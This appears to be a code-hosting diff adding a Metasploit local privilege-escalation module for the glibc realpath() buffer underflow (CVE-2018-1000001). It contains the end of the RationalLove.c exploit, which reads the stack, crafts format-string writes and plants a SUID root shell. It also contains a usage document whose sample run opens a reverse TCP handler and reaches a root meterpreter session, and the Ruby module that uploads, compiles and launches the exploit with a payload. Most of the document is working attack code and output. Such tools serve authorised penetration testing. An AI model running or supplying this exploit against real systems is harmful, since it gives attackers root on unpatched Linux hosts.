// child, so kill the child and retry.
|
||||
fprintf(stderr, "Poll timed out\n");
|
||||
goto attemptEscalationCleanup;
|
||||
}
|
||||
// Perform the IO operations without blocking.
|
||||
if(pollFdList[0].revents&(POLLIN|POLLHUP)) {
|
||||
result=read(
|
||||
pollFdList[0].fd, readBuffer+readDataLength,
|
||||
sizeof(readBuffer)-readDataLength);
|
||||
if(!result) {
|
||||
if(escalationPhase<3) {
|
||||
// Child has closed the socket unexpectedly.
|
||||
goto attemptEscalationCleanup;
|
||||
}
|
||||
break;
|
||||
}
|
||||
if(result<0) {
|
||||
fprintf(stderr, "IO error talking to child\n");
|
||||
goto attemptEscalationCleanup;
|
||||
}
|
||||
readDataLength+=result;
|
||||
|
||||
// Handle the data depending on escalation phase.
|
||||
int moveLength=0;
|
||||
switch(escalationPhase) {
|
||||
case 0: // Initial sync: read A*8 preamble.
|
||||
if(readDataLength<8)
|
||||
continue;
|
||||
char *preambleStart=memmem(readBuffer, readDataLength,
|
||||
"AAAAAAAA", 8);
|
||||
if(!preambleStart) {
|
||||
// No preamble, move content only if buffer is full.
|
||||
if(readDataLength==sizeof(readBuffer))
|
||||
moveLength=readDataLength-7;
|
||||
break;
|
||||
}
|
||||
// We found, what we are looking for. Start reading the stack.
|
||||
escalationPhase++;
|
||||
moveLength=preambleStart-readBuffer+8;
|
||||
case 1: // Read the stack.
|
||||
// Consume stack data until or local array is full.
|
||||
while(moveLength+16<=readDataLength) {
|
||||
result=sscanf(readBuffer+moveLength, "%016lx",
|
||||
(int*)(stackData+stackDataBytes));
|
||||
if(result!=1) {
|
||||
// Scanning failed, the data injection procedure apparently did
|
||||
// not work, so this escalation failed.
|
||||
goto attemptEscalationCleanup;
|
||||
}
|
||||
moveLength+=sizeof(long)*2;
|
||||
stackDataBytes+=sizeof(long);
|
||||
// See if we reached end of stack dump already.
|
||||
if(stackDataBytes==sizeof(stackData))
|
||||
break;
|
||||
}
|
||||
if(stackDataBytes!=sizeof(stackData))
|
||||
break;
|
||||
|
||||
// All data read, use it to prepare the content for the next phase.
|
||||
fprintf(stderr, "Stack content received, calculating next phase\n");
|
||||
|
||||
int *exploitOffsets=(int*)osReleaseExploitData[3];
|
||||
|
||||
// This is the address, where source Pointer is pointing to.
|
||||
void *sourcePointerTarget=((void**)stackData)[exploitOffsets[ED_STACK_OFFSET_ARGV]];
|
||||
// This is the stack address source for the target pointer.
|
||||
void *sourcePointerLocation=sourcePointerTarget-0xd0;
|
||||
|
||||
void *targetPointerTarget=((void**)stackData)[exploitOffsets[ED_STACK_OFFSET_ARG0]];
|
||||
// This is the stack address of the libc start function return
|
||||
// pointer.
|
||||
void *libcStartFunctionReturnAddressSource=sourcePointerLocation-0x10;
|
||||
fprintf(stderr, "Found source address location %p pointing to target address %p with value %p, libc offset is %p\n",
|
||||
sourcePointerLocation, sourcePointerTarget,
|
||||
targetPointerTarget, libcStartFunctionReturnAddressSource);
|
||||
// So the libcStartFunctionReturnAddressSource is the lowest address
|
||||
// to manipulate, targetPointerTarget+...
|
||||
|
||||
void *libcStartFunctionAddress=((void**)stackData)[exploitOffsets[ED_STACK_OFFSET_ARGV]-2];
|
||||
void *stackWriteData[]={
|
||||
libcStartFunctionAddress+exploitOffsets[ED_LIBC_GETDATE_DELTA],
|
||||
libcStartFunctionAddress+exploitOffsets[ED_LIBC_EXECL_DELTA]
|
||||
};
|
||||
fprintf(stderr, "Changing return address from %p to %p, %p\n",
|
||||
libcStartFunctionAddress, stackWriteData[0],
|
||||
stackWriteData[1]);
|
||||
escalationPhase++;
|
||||
|
||||
char *escalationString=(char*)malloc(1024);
|
||||
createStackWriteFormatString(
|
||||
escalationString, 1024,
|
||||
exploitOffsets[ED_STACK_OFFSET_ARGV]+1, // Stack position of argv pointer argument for fprintf
|
||||
sourcePointerTarget, // Base value to write
|
||||
exploitOffsets[ED_STACK_OFFSET_ARG0]+1, // Stack position of argv[0] pointer ...
|
||||
libcStartFunctionReturnAddressSource,
|
||||
(unsigned short*)stackWriteData,
|
||||
sizeof(stackWriteData)/sizeof(unsigned short)
|
||||
);
|
||||
fprintf(stderr, "Using escalation string %s", escalationString);
|
||||
|
||||
result=writeMessageCatalogue(
|
||||
secondPhaseCataloguePathname,
|
||||
(char*[]){
|
||||
"%s: mountpoint not found",
|
||||
"%s: not mounted",
|
||||
"%s: target is busy\n (In some cases useful info about processes that\n use the device is found by lsof(8) or fuser(1).)"
|
||||
},
|
||||
(char*[]){
|
||||
escalationString,
|
||||
"BBBB5678%3$s\n",
|
||||
"BBBBABCD%s\n"},
|
||||
3);
|
||||
assert(!result);
|
||||
break;
|
||||
case 2:
|
||||
case 3:
|
||||
// Wait for pipe connection and output any result from mount.
|
||||
readDataLength=0;
|
||||
break;
|
||||
default:
|
||||
fprintf(stderr, "Logic error, state %d\n", escalationPhase);
|
||||
goto attemptEscalationCleanup;
|
||||
}
|
||||
if(moveLength) {
|
||||
memmove(readBuffer, readBuffer+moveLength, readDataLength-moveLength);
|
||||
readDataLength-=moveLength;
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
attemptEscalationCleanup:
|
||||
// Wait some time to avoid killing umount even when exploit was
|
||||
// successful.
|
||||
sleep(1);
|
||||
close(childStdout);
|
||||
// It is safe to kill the child as we did not wait for it to finish
|
||||
// yet, so at least the zombie process is still here.
|
||||
kill(childPid, SIGKILL);
|
||||
pid_t waitedPid=waitpid(childPid, NULL, 0);
|
||||
assert(waitedPid==childPid);
|
||||
|
||||
return(escalationSuccess);
|
||||
}
|
||||
|
||||
|
||||
/** This function invokes the shell specified via environment
|
||||
* or the default shell "/bin/sh" when undefined. The function
|
||||
* does not return on success.
|
||||
* @return -1 on error
|
||||
*/
|
||||
int invokeShell(char *shellName) {
|
||||
if(!shellName)
|
||||
shellName=getenv("SHELL");
|
||||
if(!shellName)
|
||||
shellName="/bin/sh";
|
||||
char* shellArgs[]={shellName, NULL};
|
||||
execve(shellName, shellArgs, environ);
|
||||
fprintf(stderr, "Failed to launch shell %s\n", shellName);
|
||||
return(-1);
|
||||
}
|
||||
|
||||
int main(int argc, char **argv) {
|
||||
char *programmName=argv[0];
|
||||
int exitStatus=1;
|
||||
|
||||
if(getuid()==0) {
|
||||
fprintf(stderr, "%s: you are already root, invoking shell ...\n",
|
||||
programmName);
|
||||
invokeShell(NULL);
|
||||
return(1);
|
||||
}
|
||||
|
||||
if(geteuid()==0) {
|
||||
struct stat statBuf;
|
||||
int result=stat("/proc/self/exe", &statBuf);
|
||||
assert(!result);
|
||||
if(statBuf.st_uid||statBuf.st_gid) {
|
||||
fprintf(stderr, "%s: internal invocation, setting SUID mode\n",
|
||||
programmName);
|
||||
int handle=open("/proc/self/exe", O_RDONLY);
|
||||
fchown(handle, 0, 0);
|
||||
fchmod(handle, 04755);
|
||||
exit(0);
|
||||
}
|
||||
|
||||
fprintf(stderr, "%s: invoked as SUID, invoking shell ...\n",
|
||||
programmName);
|
||||
setresgid(0, 0, 0);
|
||||
setresuid(0, 0, 0);
|
||||
invokeShell(NULL);
|
||||
return(1);
|
||||
}
|
||||
|
||||
for(int argPos=1; argPos<argc;) {
|
||||
char *argName=argv[argPos++];
|
||||
if(argPos==argc) {
|
||||
fprintf(stderr, "%s requires parameter\n", argName);
|
||||
return(1);
|
||||
}
|
||||
if(!strcmp("--Pid", argName)) {
|
||||
char *endPtr;
|
||||
namespacedProcessPid=strtoll(argv[argPos++], &endPtr, 10);
|
||||
if((errno)||(*endPtr)) {
|
||||
fprintf(stderr, "Invalid pid value\n");
|
||||
return(1);
|
||||
}
|
||||
killNamespacedProcessFlag=0;
|
||||
} else {
|
||||
fprintf(stderr, "Unknown argument %s\n", argName);
|
||||
return(1);
|
||||
}
|
||||
}
|
||||
|
||||
fprintf(stderr, "%s: setting up environment ...\n", programmName);
|
||||
|
||||
if(!osRelease) {
|
||||
if(detectOsRelease()) {
|
||||
fprintf(stderr, "Failed to detect OS version, continuing anyway\n");
|
||||
}
|
||||
}
|
||||
|
||||
umountPathname=findUmountBinaryPathname("/bin");
|
||||
if((!umountPathname)&&(getenv("PATH")))
|
||||
umountPathname=findUmountBinaryPathname(getenv("PATH"));
|
||||
if(!umountPathname) {
|
||||
fprintf(stderr, "Failed to locate \"umount\" binary, is PATH correct?\n");
|
||||
goto preReturnCleanup;
|
||||
}
|
||||
fprintf(stderr, "%s: using umount at \"%s\".\n", programmName,
|
||||
umountPathname);
|
||||
|
||||
pid_t nsPid=prepareNamespacedProcess();
|
||||
if(nsPid<0) {
|
||||
goto preReturnCleanup;
|
||||
}
|
||||
|
||||
// Gaining root can still fail due to ASLR creating additional
|
||||
// path separators in memory addresses residing in area to be
|
||||
// overwritten by buffer underflow. Retry regaining until this
|
||||
// executable changes uid/gid.
|
||||
int escalateMaxAttempts=10;
|
||||
int excalateCurrentAttempt=0;
|
||||
while(excalateCurrentAttempt<escalateMaxAttempts) {
|
||||
excalateCurrentAttempt++;
|
||||
fprintf(stderr, "Attempting to gain root, try %d of %d ...\n",
|
||||
excalateCurrentAttempt, escalateMaxAttempts);
|
||||
|
||||
attemptEscalation();
|
||||
|
||||
struct stat statBuf;
|
||||
int statResult=stat("/proc/self/exe", &statBuf);
|
||||
int stat(const char *pathname, struct stat *buf);
|
||||
if(statResult) {
|
||||
fprintf(stderr, "Failed to stat /proc/self/exe: /proc not mounted, access restricted, executable deleted?\n");
|
||||
break;
|
||||
}
|
||||
if(statBuf.st_uid==0) {
|
||||
fprintf(stderr, "Executable now root-owned\n");
|
||||
goto escalateOk;
|
||||
}
|
||||
}
|
||||
|
||||
fprintf(stderr, "Escalation FAILED, maybe target system not (yet) supported by exploit!\n");
|
||||
|
||||
preReturnCleanup:
|
||||
if(namespacedProcessPid>0) {
|
||||
if(killNamespacedProcessFlag) {
|
||||
kill(namespacedProcessPid, SIGKILL);
|
||||
} else {
|
||||
// We used an existing namespace or chroot to escalate. Remove
|
||||
// the files created there.
|
||||
fprintf(stderr, "No namespace cleanup for preexisting namespaces yet, do it manually.\n");
|
||||
}
|
||||
}
|
||||
|
||||
if(!exitStatus) {
|
||||
fprintf(stderr, "Cleanup completed, re-invoking binary\n");
|
||||
invokeShell("/proc/self/exe");
|
||||
exitStatus=1;
|
||||
}
|
||||
return(exitStatus);
|
||||
|
||||
escalateOk:
|
||||
exitStatus=0;
|
||||
goto preReturnCleanup;
|
||||
}
|
|
@ -0,0 +1,76 @@
|
|||
## Description
|
||||
|
||||
This module attempts to gain root privileges on Linux systems by abusing
|
||||
a vulnerability in GNU C Library (glibc) version 2.26 and prior.
|
||||
|
||||
This module uses halfdog's RationalLove exploit to exploit a buffer
|
||||
underflow in glibc realpath() and create a SUID root shell. The exploit
|
||||
has offsets for glibc versions `2.23-0ubuntu9` and `2.24-11+deb9u1`.
|
||||
|
||||
The target system must have unprivileged user namespaces enabled.
|
||||
|
||||
|
||||
## Vulnerable Application
|
||||
|
||||
This module has been tested successfully on:
|
||||
|
||||
* Ubuntu Linux 16.04.3 (x86_64) with glibc version `2.23-0ubuntu9`
|
||||
* Debian 9.0 (x86_64) with glibc version `2.24-11+deb9u1`
|
||||
|
||||
|
||||
## Verification Steps
|
||||
|
||||
1. Start `msfconsole`
|
||||
2. Get a session
|
||||
3. `use exploit/linux/local/glibc_realpath_priv_esc`
|
||||
4. `set SESSION [SESSION]`
|
||||
5. `check`
|
||||
6. `run`
|
||||
7. You should get a new *root* session
|
||||
|
||||
|
||||
## Options
|
||||
|
||||
**SESSION**
|
||||
|
||||
Which session to use, which can be viewed with `sessions`
|
||||
|
||||
**WritableDir**
|
||||
|
||||
A writable directory file system path. (default: `/tmp`)
|
||||
|
||||
**COMPILE**
|
||||
|
||||
Options: `Auto` `True` `False` (default: `Auto`)
|
||||
|
||||
Whether the exploit should be live compiled with `gcc` on the target system,
|
||||
or uploaded as a pre-compiled binary.
|
||||
|
||||
`Auto` will first determine if `gcc` is installed to compile live on the system,
|
||||
and fall back to uploading a pre-compiled binary.
|
||||
|
||||
|
||||
## Scenarios
|
||||
|
||||
```
|
||||
msf5 > use exploit/linux/local/glibc_realpath_priv_esc
|
||||
msf5 exploit(linux/local/glibc_realpath_priv_esc) > set session 1
|
||||
session => 1
|
||||
msf5 exploit(linux/local/glibc_realpath_priv_esc) > run
|
||||
|
||||
[*] Started reverse TCP handler on 172.16.191.188:4444
|
||||
[*] Writing '/tmp/.DhRxy0FQR.c' (35470 bytes) ...
|
||||
[*] Writing '/tmp/.Piya56UZVV' (207 bytes) ...
|
||||
[*] Launching exploit...
|
||||
[*] Sending stage (853256 bytes) to 172.16.191.171
|
||||
|
||||
meterpreter > getuid
|
||||
Server username: uid=0, gid=0, euid=0, egid=0
|
||||
meterpreter > sysinfo
|
||||
Computer : 172.16.191.171
|
||||
OS : Ubuntu 16.04 (Linux 4.10.0-28-generic)
|
||||
Architecture : x64
|
||||
BuildTuple : i486-linux-musl
|
||||
Meterpreter : x86/linux
|
||||
```
|
||||
|
|
@ -0,0 +1,200 @@
|
|||
##
|
||||
# This module requires Metasploit: https://metasploit.com/download
|
||||
# Current source: https://github.com/rapid7/metasploit-framework
|
||||
##
|
||||
|
||||
class MetasploitModule < Msf::Exploit::Local
|
||||
Rank = NormalRanking
|
||||
|
||||
include Msf::Post::File
|
||||
include Msf::Post::Linux::Priv
|
||||
include Msf::Post::Linux::System
|
||||
include Msf::Post::Linux::Kernel
|
||||
include Msf::Exploit::EXE
|
||||
include Msf::Exploit::FileDropper
|
||||
|
||||
def initialize(info = {})
|
||||
super(update_info(info,
|
||||
'Name' => "glibc 'realpath()' Privilege Escalation",
|
||||
'Description' => %q{
|
||||
This module attempts to gain root privileges on Linux systems by abusing
|
||||
a vulnerability in GNU C Library (glibc) version 2.26 and prior.
|
||||
|
||||
This module uses halfdog's RationalLove exploit to exploit a buffer
|
||||
underflow in glibc realpath() and create a SUID root shell. The exploit
|
||||
has offsets for glibc versions 2.23-0ubuntu9 and 2.24-11+deb9u1.
|
||||
|
||||
The target system must have unprivileged user namespaces enabled.
|
||||
|
||||
This module has been tested successfully on Ubuntu Linux 16.04.3 (x86_64)
|
||||
with glibc version 2.23-0ubuntu9; and Debian 9.0 (x86_64) with glibc
|
||||
version 2.24-11+deb9u1.
|
||||
},
|
||||
'License' => MSF_LICENSE,
|
||||
'Author' =>
|
||||
[
|
||||
'halfdog', # Discovery and RationalLove.c exploit
|
||||
'Brendan Coles' # Metasploit
|
||||
],
|
||||
'DisclosureDate' => 'Jan 16 2018',
|
||||
'Platform' => [ 'linux' ],
|
||||
'Arch' => [ ARCH_X86, ARCH_X64 ],
|
||||
'SessionTypes' => [ 'shell', 'meterpreter' ],
|
||||
'Targets' => [[ 'Auto', {} ]],
|
||||
'Privileged' => true,
|
||||
'References' =>
|
||||
[
|
||||
[ 'AKA', 'RationalLove.c' ],
|
||||
[ 'BID', '102525' ],
|
||||
[ 'CVE', '2018-1000001' ],
|
||||
[ 'EDB', '43775' ],
|
||||
[ 'URL', 'https://www.halfdog.net/Security/2017/LibcRealpathBufferUnderflow/' ],
|
||||
[ 'URL', 'http://www.openwall.com/lists/oss-security/2018/01/11/5' ],
|
||||
[ 'URL', 'https://securitytracker.com/id/1040162' ],
|
||||
[ 'URL', 'https://sourceware.org/bugzilla/show_bug.cgi?id=22679' ],
|
||||
[ 'URL', 'https://usn.ubuntu.com/3534-1/' ],
|
||||
[ 'URL', 'https://bugzilla.redhat.com/show_bug.cgi?id=1533836' ]
|
||||
],
|
||||
'DefaultTarget' => 0))
|
||||
register_options [
|
||||
OptEnum.new('COMPILE', [ true, 'Compile on target', 'Auto', %w(Auto True False) ]),
|
||||
OptString.new('WritableDir', [ true, 'A directory where we can write files', '/tmp' ]),
|
||||
]
|
||||
end
|
||||
|
||||
def base_dir
|
||||
datastore['WritableDir'].to_s
|
||||
end
|
||||
|
||||
def upload(path, data)
|
||||
print_status "Writing '#{path}' (#{data.size} bytes) ..."
|
||||
write_file path, data
|
||||
register_file_for_cleanup path
|
||||
end
|
||||
|
||||
def upload_and_chmodx(path, data)
|
||||
upload path, data
|
||||
cmd_exec "chmod +x '#{path}'"
|
||||
end
|
||||
|
||||
def upload_and_compile(path, data)
|
||||
upload "#{path}.c", data
|
||||
|
||||
gcc_cmd = "gcc -w -o #{path} #{path}.c"
|
||||
if session.type.eql? 'shell'
|
||||
gcc_cmd = "PATH=$PATH:/usr/bin/ #{gcc_cmd}"
|
||||
end
|
||||
output = cmd_exec gcc_cmd
|
||||
|
||||
unless output.blank?
|
||||
print_error output
|
||||
fail_with Failure::Unknown, "#{path}.c failed to compile"
|
||||
end
|
||||
|
||||
register_file_for_cleanup path
|
||||
cmd_exec "chmod +x #{path}"
|
||||
end
|
||||
|
||||
def exploit_data(file)
|
||||
path = ::File.join Msf::Config.data_directory, 'exploits', 'cve-2018-1000001', file
|
||||
fd = ::File.open path, 'rb'
|
||||
data = fd.read fd.stat.size
|
||||
fd.close
|
||||
data
|
||||
end
|
||||
|
||||
def live_compile?
|
||||
return false unless datastore['COMPILE'].eql?('Auto') || datastore['COMPILE'].eql?('True')
|
||||
|
||||
if has_gcc?
|
||||
vprint_good 'gcc is installed'
|
||||
return true
|
||||
end
|
||||
|
||||
unless datastore['COMPILE'].eql? 'Auto'
|
||||
fail_with Failure::BadConfig, 'gcc is not installed. Compiling will fail.'
|
||||
end
|
||||
end
|
||||
|
||||
def check
|
||||
version = kernel_release
|
||||
if Gem::Version.new(version.split('-').first) < Gem::Version.new('2.6.36')
|
||||
vprint_error "Linux kernel version #{version} is not vulnerable"
|
||||
return CheckCode::Safe
|
||||
end
|
||||
vprint_good "Linux kernel version #{version} is vulnerable"
|
||||
|
||||
arch = kernel_hardware
|
||||
unless arch.include? 'x86_64'
|
||||
vprint_error "System architecture #{arch} is not supported"
|
||||
return CheckCode::Safe
|
||||
end
|
||||
vprint_good "System architecture #{arch} is supported"
|
||||
|
||||
unless userns_enabled?
|
||||
vprint_error 'Unprivileged user namespaces are not permitted'
|
||||
return CheckCode::Safe
|
||||
end
|
||||
vprint_good 'Unprivileged user namespaces are permitted'
|
||||
|
||||
version = glibc_version
|
||||
if Gem::Version.new(version.split('-').first) > Gem::Version.new('2.26')
|
||||
vprint_error "GNU C Library version #{version} is not vulnerable"
|
||||
return CheckCode::Safe
|
||||
end
|
||||
vprint_good "GNU C Library version #{version} is vulnerable"
|
||||
|
||||
# fuzzy match glibc 2.23-0ubuntu9 and 2.24-11+deb9u1
|
||||
glibc_banner = cmd_exec('ldd --version')
|
||||
unless glibc_banner.include?('2.23-0ubuntu') || glibc_banner.include?('2.24-11+deb9')
|
||||
vprint_error 'No offsets for this version of GNU C Library'
|
||||
return CheckCode::Safe
|
||||
end
|
||||
|
||||
CheckCode::Appears
|
||||
end
|
||||
|
||||
def exploit
|
||||
if is_root?
|
||||
fail_with Failure::BadConfig, 'Session already has root privileges'
|
||||
end
|
||||
|
||||
if check != CheckCode::Appears
|
||||
fail_with Failure::NotVulnerable, 'Target is not vulnerable'
|
||||
end
|
||||
|
||||
unless cmd_exec("test -w '#{base_dir}' && echo true").include? 'true'
|
||||
fail_with Failure::BadConfig, "#{base_dir} is not writable"
|
||||
end
|
||||
|
||||
# Upload exploit executable
|
||||
executable_name = ".#{rand_text_alphanumeric rand(5..10)}"
|
||||
@executable_path = "#{base_dir}/#{executable_name}"
|
||||
if live_compile?
|
||||
vprint_status 'Live compiling exploit on system...'
|
||||
upload_and_compile @executable_path, exploit_data('RationalLove.c')
|
||||
else
|
||||
vprint_status 'Dropping pre-compiled exploit on system...'
|
||||
upload_and_chmodx @executable_path, exploit_data('RationalLove')
|
||||
end
|
||||
|
||||
# Upload payload executable
|
||||
payload_path = "#{base_dir}/.#{rand_text_alphanumeric rand(5..10)}"
|
||||
upload_and_chmodx payload_path, generate_payload_exe
|
||||
|
||||
# Launch exploit
|
||||
print_status 'Launching exploit...'
|
||||
output = cmd_exec "echo '#{payload_path} & exit' | #{@executable_path}", nil, 30
|
||||
output.each_line { |line| vprint_status line.chomp }
|
||||
end
|
||||
|
||||
def on_new_session(client)
|
||||
# remove root owned SUID executable
|
||||
if client.type.eql? 'meterpreter'
|
||||
client.core.use 'stdapi' unless client.ext.aliases.include? 'stdapi'
|
||||
client.fs.file.rm @executable_path
|
||||
else
|
||||
client.shell_command_token "rm #{@executable_path}"
|
||||
end
|
||||
end
|
||||
end
|
Loading…
Reference in New Issue